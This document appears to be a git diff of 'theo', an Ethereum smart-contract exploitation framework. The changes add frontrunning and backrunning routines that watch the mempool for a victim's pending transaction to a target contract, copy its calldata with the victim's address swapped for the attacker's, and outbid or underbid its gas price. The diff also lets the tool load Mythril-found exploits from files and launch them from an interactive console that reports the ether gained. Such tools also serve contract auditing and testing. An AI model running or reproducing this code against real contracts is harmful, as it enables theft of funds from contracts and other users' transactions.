nonce_index is None: + nonce_index = self.w3.eth.getTransactionCount(self.account) + else: + nonce_index = nonce_index + + initial_balance = self.w3.eth.getBalance(self.account) + + # If we don't specify a different set of transactions to wait for, use the ones in the exploit + if wait_txs is None: + wait_txs = self.txs + + # If we don't specify a different set of transactions to send, use the ones in the exploit + if send_txs is None: + send_txs = self.txs + + if len(wait_txs) != len(send_txs): + self.logger.error( + "The number of transactions we're waiting for needs to match the number of transactions to send. {wait_len} != {send_len}".format( + wait_len=len(wait_txs), send_len=len(send_txs) + ) + ) + return # Wait for each tx and frontrun it. - for tx in self.txs: + index = 0 + for tx in wait_txs: + self.logger.info("Waiting for tx: {tx}".format(tx=tx)) + victim_tx = self.wait_for(self.contract, tx, flush=flush) self.logger.info( "Found tx: {hash}".format(hash=victim_tx.get("hash").hex()) ) - frontrun_tx = { + run_tx = { + "from": self.account, "to": self.contract, - "gasPrice": hex(victim_tx["gasPrice"] + self.gas_price_increment), - "data": victim_tx["input"].replace( + "data": send_txs[index] + .data.replace( "deadbeefdeadbeefdeadbeefdeadbeefdeadbeef", self.account[2:] - ), + ) + .replace(victim_tx["from"], self.account[2:]), "gas": victim_tx["gas"] + self.gas_increment, - "value": victim_tx["value"], - "nonce": nonce, + "value": send_txs[index].value, + "nonce": nonce_index, } - nonce += 1 + if run_type == "frontrun": + run_tx["gasPrice"] = hex( + victim_tx["gasPrice"] + self.gas_price_increment + ) + elif run_type == "backrun": + run_tx["gasPrice"] = hex( + victim_tx["gasPrice"] - self.gas_price_increment + ) + + nonce_index += 1 # Estimate gas if self.gas_estimate is True: try: - frontrun_tx["gas"] = ( - self.w3.eth.estimateGas(frontrun_tx) + self.gas_increment - ) - self.send_tx(frontrun_tx) + run_tx["gas"] = self.w3.eth.estimateGas(run_tx) + self.gas_increment + self.send_tx(run_tx) except ValueError: self.logger.error("Could not estimate gas.") except Exception as e: self.logger.error("Exception caught: {}".format(e)) else: - self.send_tx(frontrun_tx) + self.send_tx(run_tx) + + index += 1 + + final_balance = self.w3.eth.getBalance(self.account) + self.logger.info( + "Initial balance: \t{balance} ({balance_ether:.2f} ether)".format( + balance=initial_balance, balance_ether=initial_balance / 10 ** 18 + ) + ) + self.logger.info( + "Final balance: \t{balance} ({balance_ether:.2f} ether)".format( + balance=final_balance, balance_ether=final_balance / 10 ** 18 + ) + ) + + def frontrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None): + self._front_back_run( + flush=flush, + nonce_index=nonce_index, + wait_txs=wait_txs, + send_txs=send_txs, + run_type="frontrun", + ) + + def backrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None): + self._front_back_run( + flush=flush, + nonce_index=nonce_index, + wait_txs=wait_txs, + send_txs=send_txs, + run_type="backrun", + ) def send_tx(self, tx: dict) -> str: # Make sure the addresses are checksummed. @@ -140,11 +231,12 @@ def send_tx(self, tx: dict) -> str: self.logger.info( "Waiting for {tx_hash} to be mined...".format(tx_hash=tx_hash.hex()) ) - tx_receipt = self.w3.eth.waitForTransactionReceipt(tx_hash, timeout=300) + tx_receipt = self.w3.eth.waitForTransactionReceipt(tx_hash) self.logger.info("Mined") self.logger.debug("Receipt: {}".format(tx_receipt)) - - return tx_receipt + return tx_hash + else: + return tx_hash def wait_for(self, contract, tx, flush=False): # Setting up filter @@ -164,8 +256,8 @@ def wait_for(self, contract, tx, flush=False): self.logger.debug( "Processing {} transactions.".format(len(pending_txs_hashes)) ) - for hash in pending_txs_hashes: - pending_tx = self.w3.eth.getTransaction(hash) + for tx_hash in pending_txs_hashes: + pending_tx = self.w3.eth.getTransaction(tx_hash) # Skip some uninteresting transactions if (pending_tx is None) or (pending_tx.get("to") is None): @@ -177,6 +269,7 @@ def wait_for(self, contract, tx, flush=False): if (pending_tx.get("to", str("")).lower() == contract.lower()) and ( pending_tx.get("input", "").lower() == tx.data.lower() + and (pending_tx.get("value", 0) == tx.value) ): self.logger.debug( "Found pending tx: {tx} from: {sender}.".format( @@ -185,3 +278,12 @@ def wait_for(self, contract, tx, flush=False): ) ) return pending_tx + + def dump_to_file(self, file=None): + from theo import dump + + exploit_object = [] + for tx in self.txs: + exploit_object.append(tx.__dict__) + + dump(ob=[exploit_object], filename=file) diff --git a/theo/exploit/tx.py b/theo/exploit/tx.py index 1d32fd5..cedf4ea 100644 --- a/theo/exploit/tx.py +++ b/theo/exploit/tx.py @@ -1,12 +1,9 @@ -from web3 import Web3 - - class Tx: - def __init__(self, data: str, value: str): + def __init__(self, data: str, value: str, name: str = None): # Transaction input (data) self.data = data # Transaction value - if type(value) == str: + if isinstance(value, str): # Transform from hex string if value[0:2].lower() == "0x": self.value = int(value, base=16) @@ -14,8 +11,13 @@ def __init__(self, data: str, value: str): self.value = int(value) else: self.value = int(value) + # Name + self.name = name def __repr__(self): - return "Transaction {{Data: {input}, Value: {value}}}".format( - input=self.data, value=self.value + return "Transaction {{Name: {name}, Data: {input}, Value: {value_eth:.2f} ether ({value})}}".format( + name=self.name, + input=self.data, + value_eth=self.value / 10 ** 18, + value=self.value, ) diff --git a/theo/file/__init__.py b/theo/file/__init__.py index 66a6bf9..77fe3b7 100644 --- a/theo/file/__init__.py +++ b/theo/file/__init__.py @@ -6,31 +6,42 @@ def exploits_from_file( - file, rpcHTTP=None, rpcWS=None, rpcIPC=None, contract="", account_pk="" + file, rpcHTTP=None, rpcWS=None, rpcIPC=None, contract="", account_pk="", timeout=300 ): with open(file) as f: - transaction_list = json.load(f) + exploit_list = json.load(f) if rpcIPC is not None: print("Connecting to IPC: {rpc}.".format(rpc=rpcIPC)) - w3 = Web3(Web3.IPCProvider(rpcIPC)) + w3 = Web3(Web3.IPCProvider(rpcIPC, timeout=timeout)) elif rpcWS is not None: print("Connecting to WebSocket: {rpc}.".format(rpc=rpcWS)) - w3 = Web3(Web3.WebsocketProvider(rpcWS)) + w3 = Web3(Web3.WebsocketProvider(rpcWS, websocket_kwargs={"timeout": timeout})) else: print("Connecting to HTTP: {rpc}.".format(rpc=rpcHTTP)) - w3 = Web3(Web3.HTTPProvider(rpcHTTP)) + w3 = Web3(Web3.HTTPProvider(rpcHTTP, request_kwargs={"timeout": timeout})) - txs = [] - for tx in transaction_list: - txs.append(Tx(data=tx.get("input", "0x"), value=tx.get("value", 0))) + exploits = [] - exploit = Exploit( - txs=txs, - w3=w3, - contract=contract, - account=private_key_to_account(account_pk), - account_pk=account_pk, - ) + for exploit in exploit_list: + txs = [] + for tx in exploit: + txs.append( + Tx( + data=tx.get("data", "0x"), + value=tx.get("value", 0), + name=tx.get("name", ""), + ) + ) - return exploit + exploits.append( + Exploit( + txs=txs, + w3=w3, + contract=contract, + account=private_key_to_account(account_pk), + account_pk=account_pk, + ) + ) + + return exploits diff --git a/theo/interfaces/cli.py b/theo/interfaces/cli.py index 6a8d4a8..0949acc 100644 --- a/theo/interfaces/cli.py +++ b/theo/interfaces/cli.py @@ -1,12 +1,12 @@ # from argparse_prompt import PromptParser import argparse import code -import json +import getpass +from web3 import Web3 from theo.version import __version__ -from theo.server import Server from theo.scanner import exploits_from_mythril from theo.file import exploits_from_file -from theo import private_key_to_account +from theo import * def main(): @@ -22,47 +22,53 @@ def main(): ) # Optional connections rpc = parser.add_argument_group("RPC connections") - rpc.add_argument("--rpc-ws", help="Connect to this WebSockets RPC", default=None) - rpc.add_argument("--rpc-ipc", help="Connect to this IPC RPC", default=None) + rpc.add_argument("--rpc-ws", help="connect to this WebSockets RPC", default=None) + rpc.add_argument("--rpc-ipc", help="connect to this IPC RPC", default=None) + rpc.add_argument("--timeout", help="timeout for RPC connections", default=300) # Account to use for attacking - parser.add_argument("--account-pk", help="The account's private key") + parser.add_argument("--account-pk", help="the account's private key") # Contract to monitor parser.add_argument( - "--contract", help="Contract to monitor", metavar="ADDRESS" + "--contract", help="contract to interact with", metavar="ADDRESS" ) # Find exploits with Mythril parser.add_argument( "--skip-mythril", - type=bool, - help="Don't try to find exploits with Mythril", + help="skip scanning the contract with Mythril", default=False, + action="store_true", ) # Load exploits from file - parser.add_argument( - "--load-file", type=str, help="Load exploit from file", default="" - ) + parser.add_argument("--load-file", help="load exploit from file", default=None) # Print version and exit parser.add_argument( - '--version', action='version', version='Version: {}'.format(__version__) + "--version", action="version", version="Version: {}".format(__version__) ) + # Parse all arguments args = parser.parse_args() # Get account from the private key if args.account_pk is None: - args.account_pk = input("Enter a private key: ") - args.account = private_key_to_account(args.account_pk) + args.account_pk = getpass.getpass( + prompt="The account's private key (input hidden)\n> " + ) + args.account = private_key_to_account(args.account_pk) if args.contract is None: - args.contract = input("Enter a contract to scan: ") + args.contract = input("Contract to interact with\n> ") + + args.contract = Web3.toChecksumAddress(args.contract) + args.account = Web3.toChecksumAddress(args.account) start_repl(args) + def start_repl(args): exploits = [] @@ -79,50 +85,64 @@ def start_repl(args): rpcIPC=args.rpc_ipc, contract=args.contract, account_pk=args.account_pk, + timeout=args.timeout, + ) + if args.load_file is not None: + exploits += exploits_from_file( + file=args.load_file, + rpcHTTP=args.rpc_http, + rpcWS=args.rpc_ws, + rpcIPC=args.rpc_ipc, + contract=args.contract, + account_pk=args.account_pk, + timeout=args.timeout, ) - if args.load_file != "": - exploits += [ - exploits_from_file( - file=args.load_file, - rpcHTTP=args.rpc_http, - rpcWS=args.rpc_ws, - rpcIPC=args.rpc_ipc, - contract=args.contract, - account_pk=args.account_pk, - ) - ] if len(exploits) == 0: print("No exploits found. You're going to need to load some exploits.") else: - print("Found exploits(s)", exploits) + print("") + print("Found exploits(s):") + print(exploits) - # Load history - history_path = "./.theo_history" - - def save_history(historyPath=history_path): - import readline - - readline.write_history_file(history_path) + # Add local tools for console + w3 = Web3( + Web3.HTTPProvider(args.rpc_http, request_kwargs={"timeout": args.timeout}) + ) + from theo.exploit.exploit import Exploit + from theo.exploit.tx import Tx - import os - import readline + # Imports for REPL + import os, atexit, readline, rlcompleter + # Load history + history_path = os.path.join(os.environ["HOME"], ".theo_history") if os.path.isfile(history_path): readline.read_history_file(history_path) # Trigger history save on exit - import atexit - - atexit.register(save_history) + atexit.register(readline.write_history_file, history_path) # Load variables vars = globals() vars.update(locals()) # Start REPL - import rlcompleter - readline.set_completer(rlcompleter.Completer(vars).complete) readline.parse_and_bind("tab: complete") - del os, atexit, readline, rlcompleter, save_history - code.InteractiveConsole(vars).interact() + del os, atexit, readline, rlcompleter + code.InteractiveConsole(vars).interact( + banner=""" +Tools available in the console: +- `exploits` is an array of loaded exploits found by Mythril or read from a file +- `w3` an initialized instance of web3py for the provided HTTP RPC endpoint +- `dump()` writing a json representation of an object to a local file + +Check the readme for more info: +https://github.com/cleanunicorn/theo + +Theo version {version}. + +""".format( + version=__version__ + ) + ) print("Shutting down") diff --git a/theo/scanner/__init__.py b/theo/scanner/__init__.py index 464a24e..45f9a80 100644 --- a/theo/scanner/__init__.py +++ b/theo/scanner/__init__.py @@ -13,6 +13,7 @@ def exploits_from_mythril( rpcHTTP="http://localhost:8545", rpcWS=None, rpcIPC=None, + timeout=300, contract="", account_pk="", strategy="bfs", @@ -62,21 +63,22 @@ def exploits_from_mythril( if rpcIPC is not None: print("Connecting to IPC: {rpc}.".format(rpc=rpcIPC)) - w3 = Web3(Web3.IPCProvider(rpcIPC)) + w3 = Web3(Web3.IPCProvider(rpcIPC, timeout=timeout)) elif rpcWS is not None: print("Connecting to WebSocket: {rpc}.".format(rpc=rpcWS)) - w3 = Web3(Web3.WebsocketProvider(rpcWS)) + w3 = Web3(Web3.WebsocketProvider(rpcWS, websocket_kwargs={"timeout": timeout})) else: print("Connecting to HTTP: {rpc}.".format(rpc=rpcHTTP)) - w3 = Web3(Web3.HTTPProvider(rpcHTTP)) + w3 = Web3(Web3.HTTPProvider(rpcHTTP, request_kwargs={"timeout": timeout})) exploits = [] + for ri in report.issues: txs = [] issue = report.issues[ri] for si in issue.transaction_sequence["steps"]: - txs.append(Tx(data=si["input"], value=si["value"])) + txs.append(Tx(data=si["input"], value=si["value"], name=si["name"])) exploits.append( Exploit( @@ -85,6 +87,9 @@ def exploits_from_mythril( contract=contract, account=private_key_to_account(account_pk), account_pk=account_pk, + title=issue.title, + description=issue.description, + swc_id=issue.swc_id, ) ) diff --git a/theo/server/__init__.py b/theo/server/__init__.py deleted file mode 100644 index 08e9f09..0000000 --- a/theo/server/__init__.py +++ /dev/null @@ -1,39 +0,0 @@ -from http.server import BaseHTTPRequestHandler, HTTPServer - - -def MakeHTTPRequestHandler(context): - class HTTPRequestHandler(BaseHTTPRequestHandler): - def __init__(self, *args, **kwargs): - super(HTTPRequestHandler, self).__init__(*args, **kwargs) - - def do_GET(self): - # https://docs.python.org/3.7/library/http.server.html?highlight=basehttprequesthandler#http.server.BaseHTTPRequestHandler - self.send_response(200) - self.send_header("Content-type", "text") - self.end_headers() - - print("Context", context) - - self.wfile.write(bytes(self.path, "UTF-8")) - - return HTTPRequestHandler - - -class Server: - host = None - port = None - - def __init__(self, host, port): - self.host = host - self.port = port - - def start(self): - handler = MakeHTTPRequestHandler(context={"server": "postgres"}) - - httpd = HTTPServer((self.host, self.port), handler) - - try: - httpd = httpd.serve_forever() - except KeyboardInterrupt: - httpd.socket.close() - pass diff --git a/theo/server/__main__.py b/theo/server/__main__.py deleted file mode 100644 index e69de29..0000000 diff --git a/theo/version.py b/theo/version.py index 5938482..59fafc7 100644 --- a/theo/version.py +++ b/theo/version.py @@ -1 +1 @@ -__version__ = "v0.3.0" +__version__ = "v0.8.2"